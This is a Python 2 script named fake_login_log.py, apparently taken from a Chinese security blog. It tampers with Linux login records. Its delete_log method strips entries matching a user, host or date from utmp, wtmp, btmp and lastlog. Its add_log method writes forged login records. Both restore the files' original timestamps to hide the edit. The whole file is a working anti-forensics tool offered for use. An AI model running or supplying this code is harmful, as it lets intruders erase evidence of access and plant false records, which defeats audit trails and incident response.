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fake_login_log.py
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fake_login_log.py
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#!/usr/bin/env python2
# -*- coding:utf-8 -*-
# author knpewg85942
# link:https://www.freebuf.com/articles/system/141474.html
# blog:https://forreestx386.github.io/
import os
import sys
import time
import random
import struct
import argparse
from pwd import getpwnam
class GeneralError(Exception):
pass
class FakeLog(object):
def __init__(self, args):
self.type = args.type
self.user = args.user
self.host = args.host
self.timestamp = args.timestamp
try:
self.date = str(
time.mktime(time.strptime(
args.date,
"%Y-%m-%d %H:%M:%S"))).split('.')[0] if args.date else None
except ValueError, e:
self.date = str(
time.mktime(
time.strptime(args.date + ':0',
"%Y-%m-%d %H:%M:%S"))).split('.')[0]
self.date_end = str(
time.mktime(
time.strptime(args.date +
":59", "%Y-%m-%d %H:%M:%S"))).split(
'.')[0] if args.date else None
self.tty = args.tty
self.pid = args.pid
self.FILE_DICT = {
'utmp': '/var/run/utmp',
'wtmp': '/var/log/wtmp',
'btmp': '/var/log/btmp',
'lastlog': '/var/log/lastlog'
}
self.FILE_PATH = self.FILE_DICT[self.type]
self.XTMP_STRUCT = 'hi32s4s32s256shhiii4i20x'
self.XTMP_STRUCT_SIZE = struct.calcsize(self.XTMP_STRUCT)
self.LAST_STRUCT = 'I32s256s'
self.LAST_STRUCT_SIZE = struct.calcsize(self.LAST_STRUCT)
def get_timestamp_by_user(self):
"""
根据用户名，从/var/log/wtmp中获取用户最后一次登录记录的时间戳
:return:
"""
_result = []
with open(self.FILE_DICT['wtmp'], 'rb') as fd:
while True:
record_bytes = fd.read(self.XTMP_STRUCT_SIZE)
if not record_bytes:
break
data = struct.unpack(self.XTMP_STRUCT, record_bytes)
record = [(lambda s: str(s).split("\0", 1)[0])(i)
for i in data]
if record[4] == self.user:
_result.append(record[-6])
return max(_result) if _result else None
def delete_log(self):
"""
根据条件删除utmp | wtmp |btmp |lastlog 中的记录
:return:
"""
to_remain = ''
_atime = os.stat(self.FILE_PATH).st_atime # 保存修改前的文件时间属性，以便修改后恢复
_mtime = os.stat(self.FILE_PATH).st_mtime
if self.type.endswith('tmp'): # deal xtmp log
try:
with open(self.FILE_PATH, 'rb') as fd:
while True:
record_bytes = fd.read(self.XTMP_STRUCT_SIZE)
if not record_bytes:
break
data = struct.unpack(self.XTMP_STRUCT, record_bytes)
record = [(lambda s: str(s).split("\0", 1)[0])(i)
for i in data]
_user = record[4]
_host = record[5]
_date = record[9]
if self.user:
if self.user == _user:
if self.host:
if self.host == _host:
if self.date:
if self.date <= _date <= self.date_end:
continue
else:
to_remain += record_bytes
else:
continue
else:
to_remain += record_bytes
elif self.date:
if self.date <= _date <= self.date_end:
continue
else:
to_remain += record_bytes
else:
continue
else:
to_remain += record_bytes
elif self.host:
if self.host == _host:
if self.date:
if self.date <= _date <= self.date_end:
continue
else:
to_remain += record_bytes
else:
continue
else:
to_remain += record_bytes
else:
if self.date <= _date <= self.date_end:
continue
else:
to_remain += record_bytes
except IOError as e:
raise GeneralError('file error: {0}'.format(e.message))
except Exception, e:
raise GeneralError('error occur: {0}'.format(e.message))
else:
with open(self.FILE_PATH, 'wb') as fd:
fd.write(to_remain)
os.utime(self.FILE_PATH,
(_atime, _mtime)) # restore a file atime, mtime
else: # deal lastlog, 根据unix时间戳或用户名删除指定用户最后一次登录记录
try:
with open(self.FILE_PATH, 'rb') as fd:
while True:
record_bytes = fd.read(self.LAST_STRUCT_SIZE)
if not record_bytes:
break
data = struct.unpack(self.LAST_STRUCT, record_bytes)
record = [(lambda s: str(s).split("\0", 1)[0])(i)
for i in data]
_timestamp = record[0]
_host = record[2]
if self.host:
if self.host == _host:
if self.date:
if self.date == _timestamp:
continue
else:
to_remain += record_bytes
else:
continue
else:
to_remain += record_bytes
elif self.date:
if self.date == _timestamp:
continue
else:
to_remain += record_bytes
else:
to_remain += record_bytes
except IOError as e:
raise GeneralError('file error: {0}'.format(e.message))
except Exception, e:
raise GeneralError('error occur: {0}'.format(e.message))
else:
with open(self.FILE_PATH, 'wb') as fd:
fd.write(to_remain)
os.utime(self.FILE_PATH,
(_atime, _mtime)) # restore a file atime, mtime
def add_log(self):
"""
根据条件，增加额外混淆日志
utmp | wtmp | btmp | lastlog
:return:
"""
to_add_xtmp = [
7, 13009, 'pts/4', 'ts/4', 'root', '10.1.100.10', 0, 0, 0,
1500475658, 498851, 23331082, 0, 0, 0
]
to_add_btmp = [
6, 13732, 'ssh:notty', '', 'root', '10.1.100.1', 0, 0, 0,
1500311234, 0, 23331082, 0, 0, 0
]
record_bytes = None
_backup = None
_atime = os.stat(self.FILE_PATH).st_atime
_mtime = os.stat(self.FILE_PATH).st_mtime
if self.FILE_PATH.endswith('utmp') or self.FILE_PATH.endswith('wtmp'):
if self.user:
to_add_xtmp[4] = self.user
if self.host:
to_add_xtmp[5] = self.host
if self.tty:
to_add_xtmp[2] = self.tty
to_add_xtmp[3] = self.tty[1:]
if self.pid:
to_add_xtmp[1] = int(self.pid)
if self.date:
to_add_xtmp[-6] = int(self.date) + random.randint(1, 60)
if self.timestamp:
# 修改用户退出登录的时间
to_add_xtmp[-6] = int(self.timestamp)
record_bytes = struct.pack(self.XTMP_STRUCT, *to_add_xtmp)
with open(self.FILE_PATH, 'rb') as fd:
_backup = fd.read() + record_bytes
with open(self.FILE_PATH, 'wb') as fd:
fd.write(_backup)
os.utime(self.FILE_PATH,
(_atime, _mtime)) # restore a file atime, mtime
elif self.FILE_PATH.endswith('btmp'):
if self.user:
to_add_btmp[4] = self.user
if self.host:
to_add_btmp[5] = self.host
if self.tty:
to_add_btmp[2] = self.tty
to_add_btmp[3] = self.tty[1:]
if self.pid:
to_add_btmp[1] = int(self.pid)
if self.date:
to_add_btmp[-6] = int(self.date)
if self.timestamp:
to_add_btmp[-6] = int(self.timestamp)
record_bytes = struct.pack(self.XTMP_STRUCT, *to_add_btmp)
with open(self.FILE_PATH, 'rb') as fd:
_backup = fd.read() + record_bytes
with open(self.FILE_PATH, 'wb') as fd:
fd.write(_backup)
os.utime(self.FILE_PATH,
(_atime, _mtime)) # restore a file atime, mtime
else:
__host = '10.1.100.1'
__date = 1500860089
__tty = 'pts/8'
if self.user:
try:
p = getpwnam(self.user)
except:
raise GeneralError('No such user.')
if self.host:
__host = self.host
if self.date:
__date = int(self.date)
if self.timestamp:
__date = int(self.timestamp)
if self.tty:
__tty = self.tty
data = struct.pack(self.LAST_STRUCT, __date, __tty, __host)
try:
with open(self.FILE_PATH, 'wb') as fd:
fd.seek(self.LAST_STRUCT_SIZE * p.pw_uid)
fd.write(data)
except Exception, e:
raise GeneralError('Cannot open file: {0}'.format(
e.message))
if __name__ == '__main__':
reload(sys)
sys.setdefaultencoding('utf8')
usage = 'usage: fake_login_log.py --mode delete --type utmp --user root --host 10.1.100.1\n \
fake_login_log.py --mode delete --type wtmp --user root --host 10.1.100.1 --date '
parse = argparse.ArgumentParser(usage=usage)
parse.add_argument('--mode',
dest='mode',
type=str,
required=True,
help='add, delete log')
parse.add_argument('--type',
dest='type',
type=str,
choices=['utmp', 'wtmp', 'btmp', 'lastlog'],
required=True,
help='utmp |wtmp |btmp |lastlog')
parse.add_argument('--user', dest='user', type=str, help='login username')
parse.add_argument('--host', dest='host', type=str, help='login from host')
parse.add_argument('--date',
dest='date',
type=str,
help='login time 2017-7-20 15:30')
parse.add_argument('--timestamp',
dest='timestamp',
type=str,
help='login time 1500475126')
parse.add_argument('--pid',
dest='pid',
type=str,
default=random.randint(os.getpid() + 100,
os.getpid() + 1000),
help='process id, for add only')
parse.add_argument('--tty', dest='tty', type=str, help='for add only')
argument = parse.parse_args()
if argument.mode not in ('add', 'delete', 'modify'):
raise GeneralError('error mode')
if not any(
(argument.user, argument.host, argument.date, argument.timestamp)):
raise GeneralError(
'you must choose at least user | host | date |timestamp as condition'
)
if argument.mode == 'add':
print "add"
FakeLog(argument).add_log()
else:
print "delete"
FakeLog(argument).delete_log()